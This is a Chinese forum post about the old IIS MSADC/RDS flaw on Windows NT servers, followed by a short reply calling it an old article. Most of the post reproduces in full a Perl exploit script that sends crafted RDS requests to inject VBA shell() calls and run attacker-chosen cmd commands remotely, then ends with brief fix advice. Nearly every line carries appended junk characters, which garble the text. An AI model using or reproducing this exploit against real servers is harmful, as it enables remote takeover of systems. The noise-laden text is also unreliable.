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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \"^.>+  
j,BiWgj$8  
涉及程序: !;ipLC;e}  
Microsoft NT server T6=q[LpsKN  
aO]FQ#l2b  
描述: =f*Wj\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 rS/}!|uAu  
>:yU bo)  
详细: 4:S?m(ah/  
如果你没有时间读详细内容的话,就删除: x&PVsXdt5m  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ,@*Srrw  
有关的安全问题就没有了。 uY'77,G_J  
qqR8E&Y{  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 fR6.:7&  
%juR6zB%8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 XK7$Xbd  
关于利用ODBC远程漏洞的描述,请参看: j/+e5.EX/  
@g~hYc  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qq1@v0  
~0ku,P#D  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;`P}\Q{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp d:V6.7>,  
/o)o7$6Q  
这里不再论述。 M~+T $K  
lImg+r T{  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "2~%-;c  
6 s$jt-bH  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset /y<nAGtD&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! K@UQ O  
&lp5W)D  
E")g1xGaK  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0~0OQ/>7  
Ws>2 S  
#!perl fqcFfz6?x  
# ]sf1+3  
# MSADC/RDS 'usage' (aka exploit) script aHvsgp]  
# u:FFZ  
# by rain.forest.puppy ~-.^eT kP  
# hL8GW> `a  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me D)*OQLHW  
# beta test and find errors! V<+= t{  
j~a"z40  
use Socket; use Getopt::Std; yd-Kg zm8n  
getopts("e:vd:h:XR", \%args); 1VD8y_tC  
F3L'f2yBG  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #& 5}  
u{_jweZ  
if (!defined $args{h} && !defined $args{R}) { 9gLUM$Kd  
print qq~ ;}BDEBl  
Usage: msadc.pl -h <host> { -d <delay> -X -v } NLLLt  
-h <host> = host you want to scan (ip or domain) O5:2B\B  
-d <seconds> = delay between calls, default 1 second 2UF ,W]  
-X = dump Index Server path table, if available }j. [h;C6  
-v = verbose #~Z55 D_  
-e = external dictionary file for step 5 !y{t}|U/d  
wC~ra:/?:7  
Or a -R will resume a command session v>&sb3I  
+9[/> JM  
~; exit;} =]auP{AlE  
U=a'(fX  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ."#M X!  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ie f~*:5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} X/D^?BKC  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ]U8VU  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} b+g(=z+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } }>|M6.n "  
K3Wh F  
if (!defined $args{R}){ $ret = &has_msadc; .<Lbv5m  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} P e\AH  
=(^-s Jk  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" WE hDep:  
. "cmd /c "; pRAdo="  
$in=<STDIN>; chomp $in; C25r3bj  
$command="cmd /c " . $in ; { eU_  
B)bq@jM  
if (defined $args{R}) {&load; exit;} L`M.Htm8  
6_s_2cr  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Snav)Hb'  
&try_btcustmr; <e s>FD  
M,ObzgW  
print "\nStep 2: Trying to make our own DSN..."; covr0N)  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; W_##8[r(?  
;hsem,C h7  
print "\nStep 3: Trying known DSNs..."; )TmqE<[  
&known_dsn; [= GVK  
 >Mzk;TM  
print "\nStep 4: Trying known .mdbs..."; &%ZiI@O-  
&known_mdb; *XCid_{(  
o?Wp[{K  
if (defined $args{e}){ h5:>o  
print "\nStep 5: Trying dictionary of DSN names..."; 6U`<+[K7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } d0;$k,  
|"Rl_+d7D  
print "Sorry Charley...maybe next time?\n"; b"t<B2N  
exit; H)Zb_>iV  
g@<E0 q&`$  
############################################################################## bHi0N@W!vG  
oBm^RHTZ  
sub sendraw { # ripped and modded from whisker z/,qQVv=}4  
sleep($delay); # it's a DoS on the server! At least on mine... 1ud+~y$K  
my ($pstr)=@_; =ca<..yh[d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || WI?iz-,](  
die("Socket problems\n"); 7I,/uv?  
if(connect(S,pack "SnA4x8",2,80,$target)){ F>0[v|LG  
select(S); $|=1; UA{tmIC\  
print $pstr; my @in=<S>; h#o3qY  
select(STDOUT); close(S); ~_z"So'|F_  
return @in; nJvDkh#h1  
} else { die("Can't connect...\n"); }} (L{Kg U&{$  
XM+o e0:[  
############################################################################## I.M@we/bR}  
 b* QRd  
sub make_header { # make the HTTP request /%#LA  
my $msadc=<<EOT =` b/ip5  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #DN5S#Ic  
User-Agent: ACTIVEDATA {x+"Ru~7,  
Host: $ip Q UQ"2oC  
Content-Length: $clen m5G9 B-\?  
Connection: Keep-Alive TJB) ]d<  
{G+pI2^  
ADCClientVersion:01.06 O%g%*9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 X/ \5j   
$ON4 nx  
--!ADM!ROX!YOUR!WORLD! abHW[VP9  
Content-Type: application/x-varg VPKoBJ&  
Content-Length: $reqlen Nvlfi8.  
$ylQ \Y'  
EOT wz,T7L  
; $msadc=~s/\n/\r\n/g; *q?-M"K  
return $msadc;} f?ImQYqP  
nZfU:N  
############################################################################## = }&@XRLJ  
]y4(WG;:  
sub make_req { # make the RDS request 3c"$@W:>  
my ($switch, $p1, $p2)=@_; M<A*{@4$w&  
my $req=""; my $t1, $t2, $query, $dsn; X_7cwPY  
Ag>E%N  
if ($switch==1){ # this is the btcustmr.mdb query A?DgeSm  
$query="Select * from Customers where City=" . make_shell(); fjE  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . urlwn*!^s  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} (|6Y1``  
p m4g),s  
elsif ($switch==2){ # this is general make table query v{N4*P.0T  
$query="create table AZZ (B int, C varchar(10))"; Y1?"Ut  
$dsn="$p1";} T,Bu5:@#  
=aWj+ggd@  
elsif ($switch==3){ # this is general exploit table query GJUorj&  
$query="select * from AZZ where C=" . make_shell(); ,s%1#cbR  
$dsn="$p1";} e~#"#?  
pT90TcI2  
elsif ($switch==4){ # attempt to hork file info from index server IZ$7'Mo86  
$query="select path from scope()"; kHO2&"6  
$dsn="Provider=MSIDXS;";} +@'{  
g1je':  
elsif ($switch==5){ # bad query  t8 "*j t  
$query="select"; COE,pb17  
$dsn="$p1";} +s*OZ6i [  
%TY;}V59b  
$t1= make_unicode($query); WcCJ;z:S?k  
$t2= make_unicode($dsn); !n=?H1@  
$req = "\x02\x00\x03\x00"; J3]W2m2Zw  
$req.= "\x08\x00" . pack ("S1", length($t1)); 5}4f[   
$req.= "\x00\x00" . $t1 ; F/"Q0%(m  
$req.= "\x08\x00" . pack ("S1", length($t2)); "Ih>>|r  
$req.= "\x00\x00" . $t2 ; K+0&~XU  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _f~(g1sE  
return $req;} j.3#rxq  
7j>NUx=j3  
############################################################################## ?e`4 s f_~  
-+'fn$  
sub make_shell { # this makes the shell() statement d},IQ,Az:Z  
return "'|shell(\"$command\")|'";} Vvth,  
}Htnhom0n  
############################################################################## V~Zi #o  
0 !D,74r  
sub make_unicode { # quick little function to convert to unicode m15MA.R>  
my ($in)=@_; my $out; fn%Gu s~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u|!On  
return $out;} *wgHa6?+7  
Q}KNtNCpx  
############################################################################## 5E~?hWAv  
Dq#/Uw#  
sub rdo_success { # checks for RDO return success (this is kludge) sr0.4VU1  
my (@in) = @_; my $base=content_start(@in); F{#m~4O  
if($in[$base]=~/multipart\/mixed/){ *K9I+t"g  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} U4DQ+g(A  
return 0;} 0WasE1t|  
z7[TgL7  
############################################################################## ]Qo.X~]  
|x2 +O  
sub make_dsn { # this makes a DSN for us 1'skCR|!<  
my @drives=("c","d","e","f"); ^i"C%8  
print "\nMaking DSN: "; HF9\SVR B  
foreach $drive (@drives) { vybQ}dscn  
print "$drive: "; yIm@m[B;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 9uXuV$.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" U>q&p}z0 H  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); AN!MFsk  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Sv*@3x  
return 0 if $2 eq "404"; # not found/doesn't exist ISQC{K']J  
if($2 eq "200") { Cm~h\+"  
foreach $line (@results) { zW`Zmt\T2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} b#**`Y  
} return 0;} ?4X8l@fR  
.Z,3:3,]  
############################################################################## 5yvaY "B  
FmfPi .;1  
sub verify_exists { $jt  UQ1  
my ($page)=@_; ,BK6a'1J  
my @results=sendraw("GET $page HTTP/1.0\n\n"); k,EI+lCX  
return $results[0];} {U$qxC]M  
v&6=(k{E@R  
############################################################################## hjuzVOE|W  
_%HpB=  
sub try_btcustmr { 81\$X  
my @drives=("c","d","e","f"); J{GtH[  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K3eYeXV  
w#?@ulr]d  
foreach $dir (@dirs) { 8q)wT0A~  
print "$dir -> "; # fun status so you can see progress 0-)D`s%  
foreach $drive (@drives) { $ae*3L>5M  
print "$drive: "; # ditto b.qp&2A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; '64&'.{#>r  
$reqlenlen=length( "$reqlen" ); >28.^\?H4  
$clen= 206 + $reqlenlen + $reqlen; 4$~]t:n  
J`6X6YZ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ~~U2Sr  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?e? mg  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0D;MW  
$rB20!  
############################################################################## -1tdyCez  
OD,"8JF  
sub odbc_error { !J34yro+s  
my (@in)=@_; my $base; cJEO wAN  
my $base = content_start(@in); _n.2'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O1/U3 /2/d  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; DVu_KT[Hd  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +O< 0q"E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !B=Oc!e=K  
return $in[$base+4].$in[$base+5].$in[$base+6];} Yp8~wdm  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; /h4 ::,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . pRsYA7Ti  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <Sxsmf0"  
>".,=u'  
############################################################################## m6%csh-N1  
jL$&]sQ`O)  
sub verbose { fV-vy]x..  
my ($in)=@_;  P]bq9!{1  
return if !$verbose; V\ ud4  
print STDOUT "\n$in\n";} O[p;IG`  
-Yaw>$nJ  
############################################################################## x+V;UD=mH  
?[4!2T,Ca  
sub save { *7"R[!9  
my ($p1, $p2, $p3, $p4)=@_; ;4jRsirx9  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %21i#R`E  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; =-M)2&~L~  
close OUT;} 8^fkY'x  
9N9dQ}[:g  
############################################################################## MCamc  
.xtjB8gc  
sub load { &9CKI/K:  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; F+;{s(wx  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); o C]tEXJ  
@p=<IN>; close(IN); B,SH9,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); GW ]E,a  
$target= inet_aton($ip) || die("inet_aton problems"); :kycIM]s  
print "Resuming to $ip ..."; =e7,d$i  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; <B]\&  
if($p[1]==1) { &Mset^o  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; N0be=IO5#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8ALvP}H  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); -e=p*7']  
if (rdo_success(@results)){print "Success!\n";} _VU/j9<+  
else { print "failed\n"; verbose(odbc_error(@results));}} ,}M@Am0~  
elsif ($p[1]==3){ )k F/"'o  
if(run_query("$p[3]")){ Z, Kbt  
print "Success!\n";} else { print "failed\n"; }} CPq{M.B  
elsif ($p[1]==4){ <!.'"*2  
if(run_query($drvst . "$p[3]")){ T^-fn  
print "Success!\n"; } else { print "failed\n"; }} K 7)1wiEj  
exit;} e^g3J/aU  
Jtj_R l !  
############################################################################## 9wP_dJvb  
)hH9VGZq(  
sub create_table { GyV3]Qqj  
my ($in)=@_; ?^i$} .%W  
$reqlen=length( make_req(2,$in,"") ) - 28; g-=)RIwm  
$reqlenlen=length( "$reqlen" ); tt=?*n  
$clen= 206 + $reqlenlen + $reqlen; $tyF(RybG  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?iH`-SY  
return 1 if rdo_success(@results); ,jWMJ0X/N=  
my $temp= odbc_error(@results); verbose($temp); i/rdPbq  
return 1 if $temp=~/Table 'AZZ' already exists/; I xT[1$e  
return 0;} M.K-)r,  
73/kyu-0%  
############################################################################## s)$N&0\  
-Iz&/u*}f  
sub known_dsn { EAQg4N:D7L  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7%Zl^c>q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 4!Ez#\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wiWpzJz  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); F]~rA! g1  
x^aqnKoJ%\  
foreach $dSn (@dsns) { uX{n#i,~L  
print "."; = GirUW D  
next if (!is_access("DSN=$dSn")); I__|+%oC  
if(create_table("DSN=$dSn")){  `"v5bk  
print "$dSn successful\n"; .BGM1ph}~  
if(run_query("DSN=$dSn")){ @;}bBHQz{p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^(I4Do~}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} mrDIt4$D  
P&3'N~k-  
############################################################################## l-"c-2-!  
aH)$#6${Ap  
sub is_access { 3kFOs$3  
my ($in)=@_; 7s_#X|A$  
$reqlen=length( make_req(5,$in,"") ) - 28; H{'<v|I  
$reqlenlen=length( "$reqlen" ); P  F!S  
$clen= 206 + $reqlenlen + $reqlen; 4l2i'H  
my @results=sendraw(make_header() . make_req(5,$in,"")); 6#XB'PR2p  
my $temp= odbc_error(@results); ODK$G [-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 27*u^N*z@  
return 0;} 0uzm@'^  
Ec| Gom?  
############################################################################## q10gKVJum  
W=M`Bkw{  
sub run_query { <}b`2/wP  
my ($in)=@_; %sb)U~gP  
$reqlen=length( make_req(3,$in,"") ) - 28; A87JPX#R?  
$reqlenlen=length( "$reqlen" ); ryzz!0l  
$clen= 206 + $reqlenlen + $reqlen; c0]^V>}cl  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7N"$~UfC  
return 1 if rdo_success(@results); d3h2$EDD  
my $temp= odbc_error(@results); verbose($temp); U'S}7gya  
return 0;} ]Q=D'1 MM  
k"|4 LPv[  
############################################################################## '3Yci(t+  
I|lz;i}$  
sub known_mdb { Z~{0XG\Y  
my @drives=("c","d","e","f","g"); 2g1[ E_?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /5 Wy) -  
my $dir, $drive, $mdb; >*H>'O4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2't<Hl1qN  
!%x8!;za  
# this is sparse, because I don't know of many )W)m?%  
my @sysmdbs=( "\\catroot\\icatalog.mdb", h)BRSs?v_D  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Q[^IX  
"\\system32\\certmdb.mdb", Dt)\q^bH)  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {dJC3/ Rf  
6> v`6  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Vu '/o[nF>  
"\\cfusion\\cfapps\\forums\\forums_.mdb", pv&:N,p  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  6\ /x  
"\\cfusion\\cfapps\\security\\realm_.mdb", @cdd~9w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %3scz)4$  
"\\cfusion\\database\\cfexamples.mdb", naCPSsei  
"\\cfusion\\database\\cfsnippets.mdb", 2b xkZS]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 'EJ8)2  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", O[f*!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Ed,`1+  
"\\cfusion\\database\\smpolicy.mdb", f7 V36Q8  
"\\cfusion\\database\cypress.mdb", ZzLmsTtzIu  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", $8o(_8Q)  
"\\website\\cgi-win\\dbsample.mdb", \|nF55W [  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]kq{9b';  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" a'f"Zdh%w  
); #these are just . $uvQpyh  
foreach $drive (@drives) { o^;$-O!/  
foreach $dir (@dirs){ 6H67$?jMyJ  
foreach $mdb (@sysmdbs) { <jF]SN  
print "."; cc7*O  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ yC !`6$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; wXp A1,i  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ IW3ZHmrpA  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ]&\HAmOQS  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4k_&Q?1  
zQ9"i  
foreach $drive (@drives) { $j:$ `  
foreach $mdb (@mdbs) { $u_0"sUV  
print "."; Qk<W(  
if(create_table($drv . $drive . $dir . $mdb)){ o9G%KO&;D,  
print "\n" . $drive . $dir . $mdb . " successful\n"; L^} Z:I  
if(run_query($drv . $drive . $dir . $mdb)){ 0F-X.Dq  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1C\OL!@L  
} else { print "Something's borked. Use verbose next time\n"; }}}} S!<YVQq  
} lxy_O0n  
|t*(]U2O0  
############################################################################## t m?[0@<s  
n"8vlNeW  
sub hork_idx { IY6DZP  
print "\nAttempting to dump Index Server tables...\n"; 24PEt%2  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; c^vP d]Ed  
$reqlen=length( make_req(4,"","") ) - 28; \"B?'Ep;  
$reqlenlen=length( "$reqlen" ); 7l> |G,[c  
$clen= 206 + $reqlenlen + $reqlen; D].!u{##  
my @results=sendraw2(make_header() . make_req(4,"","")); T:q_1W?h]  
if (rdo_success(@results)){ ~4h<nc  
my $max=@results; my $c; my %d; 6s\niro2  
for($c=19; $c<$max; $c++){  S[!K  
$results[$c]=~s/\x00//g; ){`s&?M0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :b)IDcW&j:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; =gS?atbX  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; J#vIz  Q  
$d{"$1$2"}="";} '_,/N!-V  
foreach $c (keys %d){ print "$c\n"; } O,R5csMh  
} else {print "Index server doesn't seem to be installed.\n"; }} R>SS\YC'X  
t!RR5!  
############################################################################## >c%OnA,3  
n 1MZHa,  
sub dsn_dict { 1S9(Zn[2,  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "a))TV%N  
while(<IN>){ 1oD,E!+^d  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; E8gXa-hv  
next if (!is_access("DSN=$dSn")); B*btt+6  
if(create_table("DSN=$dSn")){ _#@n^c  
print "$dSn successful\n"; Y $hYW  
if(run_query("DSN=$dSn")){ ~$n4Yuu2[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S9R(;  
print "Something's borked. Use verbose next time\n";}}} fe PH=C  
print "\n"; close(IN);} .?R~!K{`  
iSu7K&X9q  
############################################################################## w>Iw&US  
W1'F)5(?7  
sub sendraw2 { # ripped and modded from whisker uKc x$  
sleep($delay); # it's a DoS on the server! At least on mine... 7S$Am84%  
my ($pstr)=@_; eqbQ,, &  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0+MNu8t  
die("Socket problems\n"); twElLOE  
if(connect(S,pack "SnA4x8",2,80,$target)){ -V0_%Smc  
print "Connected. Getting data"; $U%M]_  
open(OUT,">raw.out"); my @in; C(zgBk  
select(S); $|=1; print $pstr; 't:$Lx  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ly"Jl8/<  
close(OUT); select(STDOUT); close(S); return @in; WLl_;BgN  
} else { die("Can't connect...\n"); }} q1ybJii  
>KHR;W03  
############################################################################## 0/K?'&$yvb  
u3 k%  
sub content_start { # this will take in the server headers <knf^D<"  
my (@in)=@_; my $c; $/;D8P5/&=  
for ($c=1;$c<500;$c++) { nZZNx  
if($in[$c] =~/^\x0d\x0a/){ JPQWRK^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |,3s]b`  
else { return $c+1; }}} n^aSio6  
return -1;} # it should never get here actually !v/5 G_pr  
2N*XzVplN  
############################################################################## Q#"p6ZmI  
wZ6D\I  
sub funky { d: D`rpcC  
my (@in)=@_; my $error=odbc_error(@in); o V"d%ks  
if($error=~/ADO could not find the specified provider/){ xxjg)rVuy  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; xCN6?  
exit;} Xi$( U8J_  
if($error=~/A Handler is required/){ 2gM=vaiH=  
print "\nServer has custom handler filters (they most likely are patched)\n"; kFKc9}7W  
exit;} Mo?eVtZ  
if($error=~/specified Handler has denied Access/){ s~e<Pr?yu  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4 =/5  
exit;}} hRAI7xk  
7P1G^)  
############################################################################## a&:1W83  
9V&} %  
sub has_msadc { PdiP5S }/  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .T~<[0Ex+U  
my $base=content_start(@results); =k.:XblEe[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); PWeCk2xH  
return 0;} sF9{(Us  
+&hhj~I.  
######################## <0lXJqd  
aAM!;3j]B`  
BGM5pc (ei  
解决方案: .*XELP=BT  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll EUBJnf:q  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #,dNhUV#  
=$bJ`GpJ  
拿出来充数 哈哈
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